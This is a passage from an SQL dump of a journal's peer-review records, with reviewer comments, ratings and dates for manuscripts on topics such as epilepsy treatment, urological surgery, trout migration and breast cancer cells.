methodology, observations, discussions, summery, conclucion, results. There is only  one sugestion to change the article as per the above sequence. So It can be accecpted for publication after these revision.','2019-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(998,10287,3122,NULL,'3','g','y','M','n','Study needs some revision pointed as below. \r\nOverall and general recommendations  \r\n1.	Research question- what defines “efficacy” in the particular study? \r\n2.	What was decided primary goal in terms of time to reduced seizure or seizure frequency in relation to time period? \r\n3.	When the adding clobazam was considers after primary therapy in regards to time duration? \r\n4.	How may or what kind of Anti seizure were average used before adding clobazam? \r\n5.	Any data available if patients were prior on any benzo before adding clobazam? \r\n6.	Any Antiseizure medication regimen was followed in epilepsy patients?  \r\n7.	Needs details of literature review on clobazam effects on myoclonic, atonic and complex partial seizures \r\n8.	Graph 7 and 8 need detail information with explanation details on both axes. The information particular to male and female is not clear. \r\n9.	What dose of clobazam was considered as lower dose? \r\n10.	Infantile spasm seizure frequency calculated? Individual seizure or seizure clusters?\r\n11.	needs to discuss weakness / limitation of study\r\n12.	Future directions or any practice improved actions based on study, clinical implications  \r\n\r\n','Editor\r\nOverall the research topic is not new, however it may add to the literature given scope of quality and practice improvement at local level. \r\nThe research topic needs through literature review piece in article. \r\n\r\n','2019-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1008,7415,3140,NULL,'4','G','N','Y','Y','•	Author needs to go through the entire manuscript, check spelling, grammar, syntax and to assure that it is concise, correct, clear and punctual.\r\n•	The use of abbreviations like. AUA, VIU.... and others should be written in full the first time they are used in the manuscript.\r\nResearch methodology\r\n•	Author needs to put in this field that this is a prospective , qualitative case series study \r\n•	Author needs to mention that “”the AUA questionnaire”” is the American Urological Association symptom score (AUA-SS).\r\n•	Inclusion and exclusion criteria were written properly.\r\nDiscussion\r\n•	The discussion were not written properly. The points in discussion must be mentioned one by one with a comparison between this study results and the medical literature results. \r\n•	“”.  Urethroplasty is the only curativr option currently available’””. Author needs to change curativr to curative.\r\n•	“”Short strictures of the bulbar urethra may be amenable to excision and end-to- end anastdmosis.””. Author needs to change anastdmosis to anastomosis.\r\n•	“”Genital skin should not be used for the repair of strictures due to lichen scierosus.””. Author needs to change “”lichen scierosus”” to Lichen sclerosus.  \r\n\r\n•	Authors need to declare any conflict of interest.\r\nReferences\r\n•	References cited represent a good spread in terms of year of publication and number. But most of them are old references. Author needs to choose an up to date references.  \r\n•	References need to pursue same style or format. \r\n•	References need to be cited in the paper, and not just to be mentioned at the end of the manuscript.\r\nNo written consent was found \r\nNo Institute board approval was found.\r\nConflict of interest \r\n•	Author needs to declare any conflict of interest.\r\nFigures\r\n•	Author needs to numerate the figures and to include their number in the manuscript \r\n•	There are no figure legends.\r\n•	The manuscript needs to include operative findings and procedures pictures . \r\n\r\nGood  luck \r\n\r\n\r\n\r\n','•	Author needs to go through the entire manuscript, check spelling, grammar, syntax and to assure that it is concise, correct, clear and punctual.\r\n•	The use of abbreviations like. AUA, VIU.... and others should be written in full the first time they are used in the manuscript.\r\nResearch methodology\r\n•	Author needs to put in this field that this is a prospective , qualitative case series study \r\n•	Author needs to mention that “”the AUA questionnaire”” is the American Urological Association symptom score (AUA-SS).\r\n•	Inclusion and exclusion criteria were written properly.\r\nDiscussion\r\n•	The discussion were not written properly. The points in discussion must be mentioned one by one with a comparison between this study results and the medical literature results. \r\n•	“”.  Urethroplasty is the only curativr option currently available’””. Author needs to change curativr to curative.\r\n•	“”Short strictures of the bulbar urethra may be amenable to excision and end-to- end anastdmosis.””. Author needs to change anastdmosis to anastomosis.\r\n•	“”Genital skin should not be used for the repair of strictures due to lichen scierosus.””. Author needs to change “”lichen scierosus”” to Lichen sclerosus.  \r\n\r\n•	Authors need to declare any conflict of interest.\r\nReferences\r\n•	References cited represent a good spread in terms of year of publication and number. But most of them are old references. Author needs to choose an up to date references.  \r\n•	References need to pursue same style or format. \r\n•	References need to be cited in the paper, and not just to be mentioned at the end of the manuscript.\r\nNo written consent was found \r\nNo Institute board approval was found.\r\nConflict of interest \r\n•	Author needs to declare any conflict of interest.\r\nFigures\r\n•	Author needs to numerate the figures and to include their number in the manuscript \r\n•	There are no figure legends.\r\n•	The manuscript needs to include operative findings and procedures pictures . \r\n\r\nThank you \r\n\r\n\r\n','2020-01-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1014,10779,3050,NULL,'5','g','y','y','y','Author selected the Effect of Environmental Factors on the Movement of Rainbow Trout in the Deerfield Reservoir System.\r\n\r\nThis study was conducted in Deerfield Reservoir, South Dakota and within the upstream Castle Creek tributary system. Passive integrated transponder (PIT) tag technology was used to assess adfluvial movements made by hatchery-reared and resident rainbow trout between Deerfield Reservoir and Castle Creek.  \r\n\r\nThis study demonstrates the complex nature of fish behavior and the way fish respond to their environment. Author found that changes in barometric pressure and river flow had little effect on upstream migration of rainbow trout and suggested that fish may be responding to other biotic factors \r\n\r\nI recommend to Publish','','2020-01-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1022,10393,3150,NULL,'4','G','Y','Y','Y','Massive Fungating Malignant Peripheral Nerve Sheath Tumor Arising from the Forearm-A case Report and Literature Review is interesting. This is a rare type of tumor and any case report on it might be helpful for future references. The manuscript can be accepted. However, I have few suggestions/comments to make the manuscript better.\r\n1.	Does the patient have any history of radiation exposure (treatment related, or work related)? Generally, this is one of the proved risk factors for MPNST. Also did he had any preexisting condition from which MPNST could have developed.\r\n2.	Was this patient NF-1 positive?\r\n3.	The CT scan and MRI figures needs to be labeled.\r\n','Massive Fungating Malignant Peripheral Nerve Sheath Tumor Arising from the Forearm-A case Report and Literature Review is interesting. This is a rare type of tumor and any case report on it might be helpful for future references. The manuscript can be accepted. However, I have few suggestions/comments to make the manuscript better.\r\n1.	Does the patient have any history of radiation exposure (treatment related, or work related)? Generally, this is one of the proved risk factors for MPNST. Also did he had any preexisting condition from which MPNST could have developed.\r\n2.	Was this patient NF-1 positive?\r\n3.	The CT scan and MRI figures needs to be labeled.\r\n','2020-01-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1031,5406,3074,NULL,'4','g','Y','Y','N','The chewing sticks have been being used for quite a long time as tooth cleaning gadgets since they are promptly accessible, reasonable, and strong; however, the quantity of anti-microbial plans has been assessed to decide the viability as antiplaque and or anti-gum disease operators. The therapeutic properties related with gum recuperating, absence of pain, haemostasis and astringency have been credited to chewing sticks just as comprising of anti-microbial and plaque hindering impacts. \r\nThis study have shown significant results Degree of inhibition per the extract  and Gram staining properties of bacteria present in the tooth plaque and proved some methods for the partial control and prevention of these dental diseases. I recommend to publish the manuscript.\r\n','','2020-01-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1034,7021,3178,NULL,'2','G','Y','Y','Y','This is an interesting study about potential inhibition of proliferation of breast carcinoma cells by novel anthranilic acid derivative. Figure 1 seems to be missing. ','','2020-01-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1038,10211,3098,NULL,'6','G','Y','Y','Y','The present study is very good and it will definately provite a good impact on the socity . so it canbe accepted for publication.','The present study is very good and it will definately provite a good impact on the socity .It is according to the norms of respective journal. so it canbe accepted for publication.','2020-01-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1039,10211,3150,NULL,'5','G','Y','Y','Y','Present study and article is novel and new , it will definately provide new information to readers. ','Present study and article is novel and new , it will definately provide new information to readers.  It is according to norms of respective journal. so it can be accecpted for the publication.','2020-01-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1040,10211,3195,NULL,'5','G','Y','Y','Y','Present article is according to the norms of the respective jpurnals. It is providing new information to the readers.the paper is providing new information. so it can be accepted for publication.','Present article is according to the norms of the respective jpurnals. It is providing new information to the readers.the paper is providing new information. so it can be accepted for publication.recomended','2020-01-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1041,10393,3195,NULL,'4','G','Y','M','Y','Achraf and group have submitted a case report on Granular cell tumor of the perianal region in a 52-year-old female. As perianal tumors are rare, this case report is interesting can be considered for publication. However, I have few comments/suggestions for the betterment of the manuscript.\r\n1.	Very recently Emily F Kelly has published a similar case report with a review on perianal granular tumor which should be referred as no recent references are provided.\r\n2.	Line 38- it is specifically mentioned that this is the “41st case” of perianal granular cell tumor   in the past 1 yr. My question is, is the figure mentioned is specific to the hospital where this study was conducted or it for global cases. If so then reference is needed to support the figure. \r\n3.	Briefly describe the process of incision/Operation to remove the tumor (few lines).\r\n4.	Label fig 1 with an arrow pointing to the region of interest.\r\n5.	Were any specific markers used like S-100? CD68 and PAS are nonspecific.\r\n6.	Check the English for grammars and spellings.\r\n','Achraf and group have submitted a case report on Granular cell tumor of the perianal region in a 52-year-old female. As perianal tumors are rare, this case report is interesting can be considered for publication. However, I have few comments/suggestions for the betterment of the manuscript.\r\n1.	Very recently Emily F Kelly has published a similar case report with a review on perianal granular tumor which should be referred as no recent references are provided.\r\n2.	Line 38- it is specifically mentioned that this is the “41st case” of perianal granular cell tumor   in the past 1 yr. My question is, is the figure mentioned is specific to the hospital where this study was conducted or it for global cases. If so then reference is needed to support the figure. \r\n3.	Briefly describe the process of incision/Operation to remove the tumor (few lines).\r\n4.	Label fig 1 with an arrow pointing to the region of interest.\r\n5.	Were any specific markers used like S-100? CD68 and PAS are nonspecific.\r\n6.	Check the English for grammars and spellings.\r\n','2020-01-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1045,9803,3185,NULL,'4','g','y','n','n','Hi Dear author \r\nI reviewed this manuscript in my opinion this  paper will be better if consider these point \r\n1.change your tiltle with fascinating and complex sentence\r\n2.you should edit  your English grammer  mistake \r\n3.please write your refrence with English language \r\n\r\n','','2020-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1049,10251,3098,NULL,'6','G','D','Y','y','Great Work, i didn\'t find any single comment to write.\r\nwell written manuscript. \r\n\r\n','Accepted ','2020-01-19',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1056,9537,3178,NULL,'4','g','d','y','y','Breast cancer being most common cancer that are women are suffering throughout the world there is an immediate and safe approach towards treatment is required. The present study of Potent Suppression of Proliferation of Breast Carcinoma Cells by a Novel Anthranilic Acid Derivative gave a good initiation for future work.\r\nSince BIBR1532 is that there is a long time-lag between commencement of treatment and noticeable decrease in proliferation of tumor cells  the study on novel carboxylic acid analogue with an aliphatic side-chain moiety, called GV6, employing TNBC and non-TNBC cells is very much approachable to the cancer studies. \r\nUsing these procedures further investigation on breast cancer using advanced techniques like Illumina sequencing, biacore assay can be done for the diagnosis of Breast cancer.\r\n','Can be published according to the journal norms ','2020-01-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1059,7415,3185,NULL,'3','G','N','Y','Y','•	This is an interesting topic. \r\n•	The use of abbreviations like. CHU HASSAN II FES, ALS for gallblader.... and others should be written in full the first time they are used in the manuscript.\r\n•	Author needs to go through the entire manuscript, check  spelling, grammar, syntax and to assure that it is concise, correct , clear and punctual  \r\n•	In the manuscript there are some French words “” proctologie,  ””.Author needs to use only English wards in the context of the manuscript.\r\nAbstract\r\n•	The abstract needs to be restructured to include (Introduction, materials and methods, discussion and conclusion).\r\n•	What is the meaning of “”lithiasic blister””? This is not an English medical term.\r\n•	“”The hospital stay of the lithiasic blister, hernia and proctologie is respectively 7.3, 5,1 and 1day, wish remains far from figures marked in Western countries””. “”Wish”” needs to be changed to “”which “”.\r\n•	“”This difference is explained by the absence of politic in helth economy””. This sentence needs to be changed and dictated correctly.\r\n“”Materiels and Methods “” needs to be changed to “”Materials and Methods””.\r\n•	The number of patients, their age and gender must be included in the material and methods, not in the results.\r\n•	Author needs to refer to any inclusion and exclusion criteria for patients recruited in this study, what was the study type and Design.\r\n•	Author claims that the length of stay was decreased with advancement of years, but he did not include other important factors like disease categories and co-morbidities.\r\n•	Author needs to subdivide the anorectal operations and to mention which group was included in the study. \r\nResults \r\n•	Author needs to clarify who can Ambulatory surgery improve the quality of the intervention?\r\n•	 Ambulatory surgery is an important practice. Therefore it is crucial to mention factors responsible for deviating from expanding this type of surgery taking in consideration the mentality and environment in each area.\r\nReferences \r\n•	Most of references were written in French. Author needs to rewrite them in English.\r\n•	References cited represent a good spread in terms of year of publication and number.\r\n\r\n\r\n\r\nGood luck \r\n\r\n','•	This is an interesting topic. \r\n•	The use of abbreviations like. CHU HASSAN II FES, ALS for gallblader.... and others should be written in full the first time they are used in the manuscript.\r\n•	Author needs to go through the entire manuscript, check  spelling, grammar, syntax and to assure that it is concise, correct , clear and punctual  \r\n•	In the manuscript there are some French words “” proctologie,  ””.Author needs to use only English wards in the context of the manuscript.\r\nAbstract\r\n•	The abstract needs to be restructured to include (Introduction, materials and methods, discussion and conclusion).\r\n•	What is the meaning of “”lithiasic blister””? This is not an English medical term.\r\n•	“”The hospital stay of the lithiasic blister, hernia and proctologie is respectively 7.3, 5,1 and 1day, wish remains far from figures marked in Western countries””. “”Wish”” needs to be changed to “”which “”.\r\n•	“”This difference is explained by the absence of politic in helth economy””. This sentence needs to be changed and dictated correctly.\r\n“”Materiels and Methods “” needs to be changed to “”Materials and Methods””.\r\n•	The number of patients, their age and gender must be included in the material and methods, not in the results.\r\n•	Author needs to refer to any inclusion and exclusion criteria for patients recruited in this study, what was the study type and Design.\r\n•	Author claims that the length of stay was decreased with advancement of years, but he did not include other important factors like disease categories and co-morbidities.\r\n•	Author needs to subdivide the anorectal operations and to mention which group was included in the study. \r\nResults \r\n•	Author needs to clarify who can Ambulatory surgery improve the quality of the intervention?\r\n•	 Ambulatory surgery is an important practice. Therefore it is crucial to mention factors responsible for deviating from expanding this type of surgery taking in consideration the mentality and environment in each area.\r\nReferences \r\n•	Most of references were written in French. Author needs to rewrite them in English.\r\n•	References cited represent a good spread in terms of year of publication and number.\r\n\r\n\r\n\r\nThank You\r\n','2020-01-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1060,661,3122,NULL,'R','D','D','Y','N','The work is interesting in terms of alternative treatments of epilepsy.\r\n\r\n1) At the neuronal level, is it possible to explain what could be the effect of Clobazam on excitatory and inhibitory neurons which are both involved in the mechanisms of epilepsy? the following article can be useful:\r\n*Etindele Sosso FA, Hito MG, Bern SS (2017) Basic activity of cortical neurons during somnolence induced by anesthesia\r\n\r\n2) Is there an influence or an interaction between Clobazam and environmental stimuli affecting cognitive functions (like visual cortex, motor cortex, etc..)? please use the following article as a starting point:\r\n*Etindele Sosso FA (2017) Visual dot interaction with short-term memory. Neurodegener Dis Manag. 7:3, pp 183-190','This manuscript could be interesting for clinical audience and pharmaceutical researchers and the subject of epilepsy is still worthy of interest.','2020-01-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1069,5797,3213,NULL,'3','G','N','M','Y','This is an interesting approach into  the issue of offering better quality services to alcohol-dependent adults. The barriers are presented explicitely and the model proposed is comprehensive. However, there is no mention on the managing team emplyed int he sobering centers, in terms of their qualifications, experience, coping mechanisms that are important factors connected with effective care. It is a well-known fact that several barriers are imposed by the healthcare staff in these centers.\r\n\r\nIt would be beneficial to acknowledge this and propose solutions, e.g. training.\r\n','','2020-01-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1077,10684,3256,NULL,'5','g','y','y','y','( https://doi.org/10.1111/tbj.13174) and (DOI: 10.21802/gmj.2019.2.11) suggested studies','acceptable after revision','2020-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1078,10962,3256,NULL,'5','g','y','y','y','(DOI: 10.21802/gmj.2019.2.11) and ( https://doi.org/10.1111/tbj.13174) suggested references','','2020-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1080,10902,3036,NULL,'4','G','Y','M','Y','1.	the title is attractive \r\n2.	the abstract needs revision\r\n3.	Keywords are good\r\n4.	This is a commentary article\r\n5.	the introduction provide insufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n6.	the text is well arranged and the logic is clear\r\n7.	there are many grammatical errors in this article\r\n8.	Please use www.Grammarly.com  \r\n9.	the related concepts are introduced \r\n10.	the readability is sufficient\r\n11.	the proposed experiment is not novel\r\n12.	No rigorous derivation of formulas/ equations work\r\n13.	the theoretical analysis in this article is good\r\n14.	No figures/tables are clear enough to summarize the results for presentation to the readers\r\n15.	No figures/tables are well referred to in the text\r\n16.	the reference section contains one old refences\r\n17.	Bias is present\r\n18.	No Plagiarism\r\n19.	Funds?\r\n20.	Conflict of interest?\r\n21.	Ethical committee?','This is a medium expert author','2020-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1081,10902,3037,NULL,'4','g','y','y','y','General comments\r\n\r\n1.	the main content of research presented in the paper is to Rates to measures the social inequity attributable to smoking\r\n2.	the topic is not unique but worthy of researching\r\n3.	there are 751 papers in google scholar about this topic since 2020\r\n4.	the main proposed experiment is to design an inequity rate for each identified form of social inequity attributable to smoking. Was made an analytic research about the smoking social inequity\r\n5.	the deduced conclusions based on the research methods/cases are Smoking like risk factor has several forms to impact over the population researched. Each identified form of social inequity has one particular form of social inequity and one form of socioeconomic inequity too.\r\n6.	the conclusions are tenable\r\n7.	some progress has been made compared with the current research results\r\n\r\nStrengths and weaknesses \r\n\r\n1.	the title is attractive & informative \r\n2.	the abstract needs revision\r\n3.	the introduction provide insufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n4.	the text is well arranged and the logic needs revision\r\n5.	there are many grammatical errors in this article\r\n6.	please use www.Grammarly.com  \r\n7.	the related concepts are introduced weakly\r\n8.	the readability is insufficient\r\n9.	the proposed experiment is novel\r\n10.	rigorous derivation of formulas/ equations work unwell to me\r\n11.	I suggest statistical review\r\n12.	No theoretical analysis in this article \r\n13.	all equations are not clear enough to summarize the results for presentation to the readers\r\n14.	all equations are well referred to in the text\r\n15.	the reference section contains some old refernces\r\n16.	Bias is present\r\n17.	No Plagiarism \r\n18.	Funds?\r\n19.	Conflict of interest\r\n20.	Ethical committee\r\n\r\nSuggestions for improvement\r\n\r\n1.	Please improve the ability of theoretical analysis or writing skills\r\n2.	You can use my suggestions\r\n\r\n','','2020-01-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1085,5795,3213,NULL,'1','r','y','y','N','focus more om research novelty. add more updated references. add study limitation at discussion section. ','accepted after minor revisions as given above. ','2020-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1086,5795,3213,NULL,'1','r','y','y','N','focus more om research novelty. add more updated references. add study limitation at discussion section. ','accepted after minor revisions as given above. ','2020-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1087,5795,3213,NULL,'5','r','y','y','N','work more on research necessity. ','the research idea is interesting and well developed. ','2020-01-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1088,10685,3256,NULL,'5','g','d','y','n','Comments to the Author:   Manuscript well organized, and I recommend to publish it. ','','2020-01-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1089,10944,3259,NULL,'4','G','Y','Y','Y','The author should effect all the noted minor corrections in the manuscript and revert back to the journal for publication ','This manuscript is a wonderful write up with very minor corrections. The identified corrections should be forwarded to the authors for corrections. The Journal should accept this manuscript for publication after the author might have finished making the corrections.','2020-01-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1106,5467,2943,NULL,'5','g','y','y','y','In this study, Author evaluated the effect of boron (B) on Blood Boron Level, Diabetes Mellitus, Lipid Metabolism, Bone Metabolism and Obesity. Boran acts as an indicator of obesity and certain diseases. This study indicates that carbohydrate metabolism of diabetic and obese diabetic patients is affected by low boron level. To determine the full effect of this element on the metabolism, further studies are required which use various dosages and compounds of B. This new studies on the effects of different doses and compounds of boron may be helpful for the understanding of the subject.\r\nThe article can be accepted for publication. \r\n','In this study, Author evaluated the effect of boron (B) on Blood Boron Level, Diabetes Mellitus, Lipid Metabolism, Bone Metabolism and Obesity. Boran acts as an indicator of obesity and certain diseases. This study indicates that carbohydrate metabolism of diabetic and obese diabetic patients is affected by low boron level. To determine the full effect of this element on the metabolism, further studies are required which use various dosages and compounds of B. This new studies on the effects of different doses and compounds of boron may be helpful for the understanding of the subject.\r\nThe article can be accepted for publication. \r\n','2020-02-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1111,903,2842,NULL,'5','g','y','y','y','This manuscript provides a concise and educational overview of the role of the state of ketosis in medical and therapeutic settings.\r\nThe popularity of the ketogenic diet and intermittent fasting in popular culture has created an often confusing and easily misunderstood wealth of information for the those interested in learning more about these therapies, even those in the scientific community. \r\nIn this manuscript, author was consolidate the history, current applications, outlook of the ketogenic diet and fasting, providing readers with a balanced and organized review of existing scientific literature on the subject.\r\nThis manuscript is appropriate for publication, because it seeks increase the understanding of the breadth of applications of the metabolic state of ketosis and the role it can play as an adjuvant therapy or lifestyle modification. \r\n','This manuscript provides a concise and educational overview of the role of the state of ketosis in medical and therapeutic settings.\r\nThe popularity of the ketogenic diet and intermittent fasting in popular culture has created an often confusing and easily misunderstood wealth of information for the those interested in learning more about these therapies, even those in the scientific community. \r\nIn this manuscript, author was consolidate the history, current applications, outlook of the ketogenic diet and fasting, providing readers with a balanced and organized review of existing scientific literature on the subject.\r\nThis manuscript is appropriate for publication, because it seeks increase the understanding of the breadth of applications of the metabolic state of ketosis and the role it can play as an adjuvant therapy or lifestyle modification. \r\n','2020-02-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1117,10962,2759,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n1- how is the follow up of patient?\r\n2-( https://doi.org/10.1111/tbj.13174) and (DOI: 10.21802/gmj.2019.2.11) I suggest both of theese uptodate studies for the references.','acceptable after revision.','2020-02-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1124,2238,3219,NULL,'1','r','d','y','y','The paper has an interesting research concept. However, it could have serious problems \r\n1.	Does your title cover the main aspects of the work? There is no  a clear objective or hypothesis that addresses a testable research question(s) so you are not measuring what this states they are measuring\r\n2.	 Does your abstract cover the main aspects of the work? You are not measuring what this states you are measuring. \r\n3.	You do not have to provide such important geographic details\r\n4.	I am confused about your power calculation/ sample size and especially what is your hypothesis. With this small sample size I think this is an unpowered study with problems to reach reliable conclusions.\r\n5.	The study population and variables of interest should not be described with details and explained.\r\n6.	I have serious concerns about the validity of this manuscript since it is not clear about the development of questionnaire, the procedure of data collection and quality of data assurance. \r\n7.	Does your paper raise any ethical concerns?  The article is not accurate for publication.\r\n8.	The Discussion is very tedious and overstated. Explain your important findings comparing with other studies and justifying the differences. \r\n9.	What are the strength and the limitations of the study?  Strength and limitations have to be indicated and they are very important.\r\n10.	Lack of important update references.\r\n','Thanks for sending me this manuscript. It is an important manuscript that talks about the trace element levels in urban Ghanaian pregnant women. \r\nThe topic has important concept but the readability of the work is very poor and boring due to unclear objectives, poor methods, materials, lack of clarity concepts, many errors with capitalization and several grammatical errors throughout the manuscript and tables.  So the paper is not easy to follow and its logical flow.\r\n','2020-02-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1125,10967,3336,NULL,'5','G','Y','Y','Y','The paper is good.','The paper is nice, well thought out and logically presented, It is pertinent and complete. Please accept the paper based on the above merits.','2020-02-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1128,10684,3177,NULL,'4','g','y','y','y','( https://doi.org/10.1111/tbj.13174) and (DOI: 10.21802/gmj.2019.2.11) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-02-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1129,10684,3126,NULL,'4','g','y','y','y','(DOI: 10.21802/gmj.2019.2.11) and ( https://doi.org/10.1111/tbj.13174) I suggest both of these uptodate studies for the references','acceptable after revision','2020-02-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1130,10962,2756,NULL,'4','g','y','y','y','well written manuscript. i have few suggestions.\r\n( https://doi.org/10.1111/tbj.13174) and (DOI: 10.1111/iwj.13265 ) I suggest both of these uptodate studies for the references.','acceptable after revision','2020-02-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1144,8795,3249,NULL,'5','g','y','y','y','Nursing education is an integrated combination of theoretical and practical learning experiences aims to provide student nurses with knowledge, skills, and attitudes required for future professional practice.\r\nThe purpose of this study was to find out the most prevailing continuing education needs of nurse educators working at nursing college.\r\nIn this study, author discussed changes and development in nursing education have impinged on nurses and nurse educators. Manuscript is appropriate for publication\r\n\r\n','Nursing education is an integrated combination of theoretical and practical learning experiences aims to provide student nurses with knowledge, skills, and attitudes required for future professional practice.\r\nThe purpose of this study was to find out the most prevailing continuing education needs of nurse educators working at nursing college.\r\nIn this study, author discussed changes and development in nursing education have impinged on nurses and nurse educators. Manuscript is appropriate for publication\r\n\r\n','2020-02-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1146,11126,3252,NULL,'1','D','N','N','Y','An interesting study,yet the comparisons of the methods are already investigated in the literature. (for example Int J Health Sci (Qassim). 2018 Sep-Oct; 12(5): 84–89 or J Periodontal Implant Sci. 2011 Aug; 41(4): 201–207 and J Indian Soc Periodontol. 2014 Nov-Dec; 18(6): 705–709)\r\nThe present sample is small , and no limitations or stregths or the study are described.\r\nNo  cost comparison is mentioned or performed. The follow up period is also limited.\r\nI would suggest a larger sample inclusion and the above revisions before resubmitting.\r\n','J Indian Soc Periodontol. 2014 Nov-Dec; 18(6): 705–709 is the sourse for authors study ; yet with a lot of limitations..Replication studies sould be at least in a larger sample.','2020-02-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1147,5404,3383,NULL,'4','G','Y','Y','N','Trillions of microorganisms have advanced with and keep on living on and inside people. An assortment of ecological elements can influence intestinal microbial unevenness, which has a cozy relationship with human wellbeing and sickness. The microbiota is essential in the development of the intestinal mucosa and immune system of the host. The perspective is clearly organized with enough literature review. Author had significantly explained microbiota in pregnancy, skin, lung, gut and disease development is well explained. I recommend to publish the article.','','2020-02-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1152,10393,3414,NULL,'4','R','Y','M','Y','1.	A one-line reasoning needs to be provided as to why Laparotomic exploration was performed with excision of the mass along with excision of the sigmoid colon and upper portion of rectum?\r\n2.	Fig 1-the lesion needs to be pointed.\r\n3.	For 400X magnification generally letters like L, N etc. are used to indicate the lumen, nuclei for better understanding.\r\n4.	Fig 4 shows positive staining of cytokeratin 7 but the negative stains of cytokeratin 20, cytokeratin 5/6, calretinin and CD34 needs to be shown as well preferably in one figure panel for distinct comparison.\r\n','1.	A one-line reasoning needs to be provided as to why Laparotomic exploration was performed with excision of the mass along with excision of the sigmoid colon and upper portion of rectum?\r\n2.	Fig 1-the lesion needs to be pointed.\r\n3.	For 400X magnification generally letters like L, N etc. are used to indicate the lumen, nuclei for better understanding.\r\n4.	Fig 4 shows positive staining of cytokeratin 7 but the negative stains of cytokeratin 20, cytokeratin 5/6, calretinin and CD34 needs to be shown as well preferably in one figure panel for distinct comparison.\r\n','2020-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1155,8796,3258,NULL,'5','g','y','y','y','Passive integrated transponder (PIT) tagging is a commonly used procedure to identify fish. However, there is a lack of research on the short-term effects of such tagging. The purpose of our study was to measure the short-term effects of PIT tagging on the feeding behavior and swimming performance of juvenile rainbow trout Oncorhynchus mykiss. Passive integrated transponder (PIT) tagging is a commonly used procedure to identify fish. However, there is a lack of research on the short-term effects of such tagging. The purpose of our study was to measure the short-term effects of PIT tagging on the feeding behavior and swimming performance of juvenile rainbow trout Oncorhynchus mykiss. A range of sizes of fish may be encountered while sampling, and the 